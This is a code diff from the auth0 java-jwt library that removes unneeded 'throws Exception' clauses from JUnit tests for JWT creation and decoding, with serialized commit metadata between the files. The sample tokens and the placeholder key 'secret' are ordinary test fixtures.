@@ -234,7 +234,7 @@ public void shouldAddIssuer() throws Exception {
     }
 
     @Test
-    public void shouldAddSubject() throws Exception {
+    public void shouldAddSubject() {
         String signed = JWTCreator.init()
                 .withSubject("1234567890")
                 .sign(Algorithm.HMAC256("secret"));
@@ -244,7 +244,7 @@ public void shouldAddSubject() throws Exception {
     }
 
     @Test
-    public void shouldAddAudience() throws Exception {
+    public void shouldAddAudience() {
         String signed = JWTCreator.init()
                 .withAudience("Mark")
                 .sign(Algorithm.HMAC256("secret"));
@@ -262,7 +262,7 @@ public void shouldAddAudience() throws Exception {
     }
 
     @Test
-    public void shouldAddExpiresAt() throws Exception {
+    public void shouldAddExpiresAt() {
         String signed = JWTCreator.init()
                 .withExpiresAt(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -272,7 +272,7 @@ public void shouldAddExpiresAt() throws Exception {
     }
 
     @Test
-    public void shouldAddNotBefore() throws Exception {
+    public void shouldAddNotBefore() {
         String signed = JWTCreator.init()
                 .withNotBefore(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -282,7 +282,7 @@ public void shouldAddNotBefore() throws Exception {
     }
 
     @Test
-    public void shouldAddIssuedAt() throws Exception {
+    public void shouldAddIssuedAt() {
         String signed = JWTCreator.init()
                 .withIssuedAt(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -292,7 +292,7 @@ public void shouldAddIssuedAt() throws Exception {
     }
 
     @Test
-    public void shouldAddJWTId() throws Exception {
+    public void shouldAddJWTId() {
         String signed = JWTCreator.init()
                 .withJWTId("jwt_id_123")
                 .sign(Algorithm.HMAC256("secret"));
@@ -302,7 +302,7 @@ public void shouldAddJWTId() throws Exception {
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() throws Exception {
+    public void shouldRemoveClaimWhenPassingNull() {
         String signed = JWTCreator.init()
                 .withIssuer("iss")
                 .withIssuer(null)
@@ -313,7 +313,7 @@ public void shouldRemoveClaimWhenPassingNull() throws Exception {
     }
 
     @Test
-    public void shouldSetCorrectAlgorithmInTheHeader() throws Exception {
+    public void shouldSetCorrectAlgorithmInTheHeader() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -324,7 +324,7 @@ public void shouldSetCorrectAlgorithmInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetDefaultTypeInTheHeader() throws Exception {
+    public void shouldSetDefaultTypeInTheHeader() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -335,7 +335,7 @@ public void shouldSetDefaultTypeInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetCustomTypeInTheHeader() throws Exception {
+    public void shouldSetCustomTypeInTheHeader() {
         Map<String, Object> header = Collections.singletonMap("typ", "passport");
         String signed = JWTCreator.init()
                 .withHeader(header)
@@ -348,23 +348,23 @@ public void shouldSetCustomTypeInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetEmptySignatureIfAlgorithmIsNone() throws Exception {
+    public void shouldSetEmptySignatureIfAlgorithmIsNone() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.none());
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[2], is(""));
     }
 
     @Test
-    public void shouldThrowOnNullCustomClaimName() throws Exception {
+    public void shouldThrowOnNullCustomClaimName() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
         JWTCreator.init()
                 .withClaim(null, "value");
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeString() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeString() {
         String jwt = JWTCreator.init()
                 .withClaim("name", "value")
                 .sign(Algorithm.HMAC256("secret"));
@@ -375,7 +375,7 @@ public void shouldAcceptCustomClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeInteger() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
                 .withClaim("name", 123)
                 .sign(Algorithm.HMAC256("secret"));
@@ -386,7 +386,7 @@ public void shouldAcceptCustomClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeLong() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeLong() {
         String jwt = JWTCreator.init()
                 .withClaim("name", Long.MAX_VALUE)
                 .sign(Algorithm.HMAC256("secret"));
@@ -397,7 +397,7 @@ public void shouldAcceptCustomClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeDouble() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDouble() {
         String jwt = JWTCreator.init()
                 .withClaim("name", 23.45)
                 .sign(Algorithm.HMAC256("secret"));
@@ -408,7 +408,7 @@ public void shouldAcceptCustomClaimOfTypeDouble() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeBoolean() {
         String jwt = JWTCreator.init()
                 .withClaim("name", true)
                 .sign(Algorithm.HMAC256("secret"));
@@ -419,7 +419,7 @@ public void shouldAcceptCustomClaimOfTypeBoolean() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeDate() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDate() {
         Date date = new Date(1478891521000L);
         String jwt = JWTCreator.init()
                 .withClaim("name", date)
@@ -431,7 +431,7 @@ public void shouldAcceptCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeString() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new String[]{"text", "123", "true"})
                 .sign(Algorithm.HMAC256("secret"));
@@ -442,7 +442,7 @@ public void shouldAcceptCustomArrayClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new Integer[]{1, 2, 3})
                 .sign(Algorithm.HMAC256("secret"));
@@ -453,7 +453,7 @@ public void shouldAcceptCustomArrayClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeLong() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeLong() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new Long[]{1L, 2L, 3L})
                 .sign(Algorithm.HMAC256("secret"));
@@ -464,7 +464,7 @@ public void shouldAcceptCustomArrayClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeMap() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeMap() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", "abc");
         data.put("test2", "def");
@@ -478,7 +478,7 @@ public void shouldAcceptCustomClaimOfTypeMap() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomClaimOfTypeUserPojo() throws Exception {
+    public void shouldRefuseCustomClaimOfTypeUserPojo() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", new UserPojo("Michael", 255));
 
@@ -598,7 +598,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimForNullListItem() throws Exception {
+    public void shouldAcceptCustomClaimForNullListItem() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", Arrays.asList("a", null, "c"));
 
@@ -642,7 +642,7 @@ public void shouldAcceptCustomClaimWithNullListAndRemoveClaim() throws Exception
     }
 
     @Test
-    public void shouldRefuseCustomClaimForNullMapValue() throws Exception {
+    public void shouldRefuseCustomClaimForNullMapValue() {
         Map<String, Object> data = new HashMap<>();
         data.put("subKey", null);
 
@@ -654,7 +654,7 @@ public void shouldRefuseCustomClaimForNullMapValue() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomClaimForNullMapKey() throws Exception {
+    public void shouldRefuseCustomClaimForNullMapKey() {
         Map<String, Object> data = new HashMap<>();
         data.put(null, "subValue");
 
@@ -667,7 +667,7 @@ public void shouldRefuseCustomClaimForNullMapKey() throws Exception {
 
     @SuppressWarnings({"unchecked", "rawtypes"})
     @Test
-    public void shouldRefuseCustomMapClaimForNonStringKey() throws Exception {
+    public void shouldRefuseCustomMapClaimForNonStringKey() {
         Map data = new HashMap<>();
         data.put(new Object(), "value");
 
@@ -679,7 +679,7 @@ public void shouldRefuseCustomMapClaimForNonStringKey() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownListElement() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownListElement() {
         List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
 
         exception.expect(IllegalArgumentException.class);
@@ -690,7 +690,7 @@ public void shouldRefuseCustomListClaimForUnknownListElement() throws Exception
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() {
         List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
 
         Map<String, Object> data = new HashMap<>();
@@ -704,7 +704,7 @@ public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() thro
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownArrayType() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownArrayType() {
         List<Object> list = new ArrayList<>();
         list.add(new Object[]{"test"});
 u}(jR  (536c2dbbea6cb7aa87e743a20b7b6f5b93566899jS  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javajS  modifiedjS  K jS  K j!S  K@j"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X4  @@ -24,37 +24,37 @@ public class JWTDecoderTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void getSubject() throws Exception {
+    public void getSubject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ");
         assertThat(jwt.getSubject(), is(notNullValue()));
         assertThat(jwt.getSubject(), is("1234567890"));
     }
 
     // Exceptions
     @Test
-    public void shouldThrowIfTheContentIsNotProperlyEncoded() throws Exception {
+    public void shouldThrowIfTheContentIsNotProperlyEncoded() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(startsWith("The string '"));
         exception.expectMessage(endsWith("' doesn't have a valid JSON format."));
         JWT.decode("eyJ0eXAiOiJKV1QiLCJhbGciO-corrupted.eyJ0ZXN0IjoxMjN9.sLtFC2rLAzN0-UJ13OLQX6ezNptAQzespaOGwCnpqk");
     }
 
     @Test
-    public void shouldThrowIfLessThan3Parts() throws Exception {
+    public void shouldThrowIfLessThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         JWT.decode("two.parts");
     }
 
     @Test
-    public void shouldThrowIfMoreThan3Parts() throws Exception {
+    public void shouldThrowIfMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 4.");
         JWT.decode("this.has.four.parts");
     }
 
     @Test
-    public void shouldThrowIfPayloadHasInvalidJSONFormat() throws Exception {
+    public void shouldThrowIfPayloadHasInvalidJSONFormat() {
         String validJson = "{}";
         String invalidJson = "}{";
         exception.expect(JWTDecodeException.class);
@@ -63,7 +63,7 @@ public void shouldThrowIfPayloadHasInvalidJSONFormat() throws Exception {
     }
 
     @Test
-    public void shouldThrowIfHeaderHasInvalidJSONFormat() throws Exception {
+    public void shouldThrowIfHeaderHasInvalidJSONFormat() {
         String validJson = "{}";
         String invalidJson = "}{";
         exception.expect(JWTDecodeException.class);
@@ -92,29 +92,29 @@ public void shouldThrowWhenPayloadNotValidBase64() {
     // Parts
 
     @Test
-    public void shouldGetStringToken() throws Exception {
+    public void shouldGetStringToken() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getToken(), is(notNullValue()));
         assertThat(jwt.getToken(), is("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
     }
 
     @Test
-    public void shouldGetHeader() throws Exception {
+    public void shouldGetHeader() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getHeader(), is("eyJhbGciOiJIUzI1NiJ9"));
     }
 
     @Test
-    public void shouldGetPayload() throws Exception {
+    public void shouldGetPayload() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getPayload(), is("e30"));
     }
 
     @Test
-    public void shouldGetSignature() throws Exception {
+    public void shouldGetSignature() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getSignature(), is("XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
@@ -123,37 +123,37 @@ public void shouldGetSignature() throws Exception {
     // Public PublicClaims
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIERvZSJ9.SgXosfRR_IwCgHq5lF3tlM-JHtpucWCRSaVuoHTbWbQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getIssuer(), is("John Doe"));
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJUb2szbnMifQ.RudAxkslimoOY3BLl2Ghny3BrUKu9I1ZrXzCZGDJtNs");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getSubject(), is("Tok3ns"));
     }
 
     @Test
-    public void shouldGetArrayAudience() throws Exception {
+    public void shouldGetArrayAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
         assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
-    public void shouldGetStringAudience() throws Exception {
+    public void shouldGetStringAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
         assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
     }
 
     @Test
-    public void shouldGetExpirationTime() throws Exception {
+    public void shouldGetExpirationTime() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzY3MjcwODZ9.L9dcPHEDQew2u9MkDCORFkfDGcSOsgoPqNY-LUMLEHg");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
@@ -164,7 +164,7 @@ public void shouldGetExpirationTime() throws Exception {
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
+    public void shouldGetNotBefore() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0NzY3MjcwODZ9.tkpD3iCPQPVqjnjpDVp2bJMBAgpVCG9ZjlBuMitass0");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
@@ -175,7 +175,7 @@ public void shouldGetNotBefore() throws Exception {
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
+    public void shouldGetIssuedAt() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0NzY3MjcwODZ9.KPjGoW665E8V5_27Jugab8qSTxLk2cgquhPCBfAP0_w");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
@@ -186,28 +186,28 @@ public void shouldGetIssuedAt() throws Exception {
     }
 
     @Test
-    public void shouldGetId() throws Exception {
+    public void shouldGetId() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxMjM0NTY3ODkwIn0.m3zgEfVUFOd-CvL3xG5BuOWLzb0zMQZCqiVNQQOPOvA");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getId(), is("1234567890"));
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsImN0eSI6ImF3ZXNvbWUifQ.e30.AIm-pJDOaAyct9qKMlN-lQieqNDqc3d4erqUZc5SHAs");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getContentType(), is("awesome"));
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.e30.WdFmrzx8b9v_a-r6EHC2PTAaWywgm_8LiP8RBRhYwkI");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getType(), is("JWS"));
     }
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAlgorithm(), is("HS256"));
@@ -216,55 +216,55 @@ public void shouldGetAlgorithm() throws Exception {
     //Private PublicClaims
 
     @Test
-    public void shouldGetMissingClaimIfClaimDoesNotExist() throws Exception {
+    public void shouldGetMissingClaimIfClaimDoesNotExist() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.K17vlwhE8FCMShdl1_65jEYqsQqBOVMPUU9IgG-QlTM");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("notExisting"), is(notNullValue()));
         assertThat(jwt.getClaim("notExisting"), is(instanceOf(NullClaim.class)));
     }
 
     @Test
-    public void shouldGetValidClaim() throws Exception {
+    public void shouldGetValidClaim() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJvYmplY3QiOnsibmFtZSI6ImpvaG4ifX0.lrU1gZlOdlmTTeZwq0VI-pZx2iV46UWYd5-lCjy6-c4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(instanceOf(Claim.class)));
     }
 
     @Test
-    public void shouldNotGetNullClaimIfClaimIsEmptyObject() throws Exception {
+    public void shouldNotGetNullClaimIfClaimIsEmptyObject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJvYmplY3QiOnt9fQ.d3nUeeL_69QsrHL0ZWij612LHEQxD8EZg1rNoY3a4aI");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(notNullValue()));
         assertThat(jwt.getClaim("object").isNull(), is(false));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeInteger() throws Exception {
+    public void shouldGetCustomClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxMjN9.XZAudnA7h3_Al5kJydzLjw6RzZC3Q6OvnLEYlhNW7HA";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asInt(), is(123));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeDouble() throws Exception {
+    public void shouldGetCustomClaimOfTypeDouble() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoyMy40NX0.7pyX2OmEGaU9q15T8bGFqRm-d3RVTYnqmZNZtxMKSlA";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asDouble(), is(23.45));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldGetCustomClaimOfTypeBoolean() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjp0cnVlfQ.FwQ8VfsZNRqBa9PXMinSIQplfLU4-rkCLfIlTLg_MV0";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asBoolean(), is(true));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeDate() throws Exception {
+    public void shouldGetCustomClaimOfTypeDate() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
         Date date = new Date(1478891521000L);
         DecodedJWT jwt = JWT.decode(token);
@@ -273,23 +273,23 @@ public void shouldGetCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldGetCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldGetCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asArray(String.class), arrayContaining("text", "123", "true"));
     }
 
     @Test
-    public void shouldGetCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldGetCustomArrayClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asArray(Integer.class), arrayContaining(1, 2, 3));
     }
 
     @Test
-    public void shouldGetCustomMapClaim() throws Exception {
+    public void shouldGetCustomMapClaim() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlfX0.-8aIaXd2-rp1lLuDEQmCeisCBX9X_zbqdPn2llGxNoc";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
@@ -300,7 +300,7 @@ public void shouldGetCustomMapClaim() throws Exception {
     }
 
     @Test
-    public void shouldGetAvailableClaims() throws Exception {
+    public void shouldGetAvailableClaims() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjEyMzQ1Njc4OTAsImlhdCI6MTIzNDU2Nzg5MCwibmJmIjoxMjM0NTY3ODkwLCJqdGkiOiJodHRwczovL2p3dC5pby8iLCJhdWQiOiJodHRwczovL2RvbWFpbi5hdXRoMC5jb20iLCJzdWIiOiJsb2dpbiIsImlzcyI6ImF1dGgwIiwiZXh0cmFDbGFpbSI6IkpvaG4gRG9lIn0.2_0nxDPJwOk64U5V5V9pt8U92jTPJbGsHYQ35HYhbdE");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaims(), is(notNullValue()));u}(jR  (bf7e07dafa190cab7d91dc0064e268a2702c3f96jS  ,lib/src/test/java/com/auth0/jwt/JWTTest.javajS  modifiedjS  KjS  Kj!S  K0j"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=1697ccb886268a0038514a97b0430d2c075381440      j(S  X[%  @@ -44,15 +44,15 @@ public class JWTTest {
     // Decode
 
     @Test
-    public void shouldDecodeAStringToken() throws Exception {
+    public void shouldDecodeAStringToken() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWT.decode(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldDecodeAStringTokenUsingInstance() throws Exception {
+    public void shouldDecodeAStringTokenUsingInstance() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         JWT jwt = new JWT();
         DecodedJWT decodedJWT = jwt.decodeJwt(token);
@@ -62,7 +62,7 @@ public void shouldDecodeAStringTokenUsingInstance() throws Exception {
 
     // getToken
     @Test
-    public void shouldGetStringToken() throws Exception {
+    public void shouldGetStringToken() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getToken(), is(notNullValue()));
@@ -71,7 +71,7 @@ public void shouldGetStringToken() throws Exception {
 
     // getToken
     @Test
-    public void shouldGetStringTokenUsingInstance() throws Exception {
+    public void shouldGetStringTokenUsingInstance() {
         JWT jwt = new JWT();
         DecodedJWT decodedJWT = jwt.decodeJwt("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(decodedJWT, is(notNullValue()));
@@ -94,7 +94,7 @@ public void shouldVerifyDecodedToken() throws Exception {
     }
 
     @Test
-    public void shouldAcceptNoneAlgorithm() throws Exception {
+    public void shouldAcceptNoneAlgorithm() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         DecodedJWT jwt = JWT.require(Algorithm.none())
                 .build()
@@ -104,7 +104,7 @@ public void shouldAcceptNoneAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC256Algorithm() throws Exception {
+    public void shouldAcceptHMAC256Algorithm() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -114,7 +114,7 @@ public void shouldAcceptHMAC256Algorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC384Algorithm() throws Exception {
+    public void shouldAcceptHMAC384Algorithm() {
         String token = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC384("secret"))
                 .build()
@@ -124,7 +124,7 @@ public void shouldAcceptHMAC384Algorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC512Algorithm() throws Exception {
+    public void shouldAcceptHMAC512Algorithm() {
         String token = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
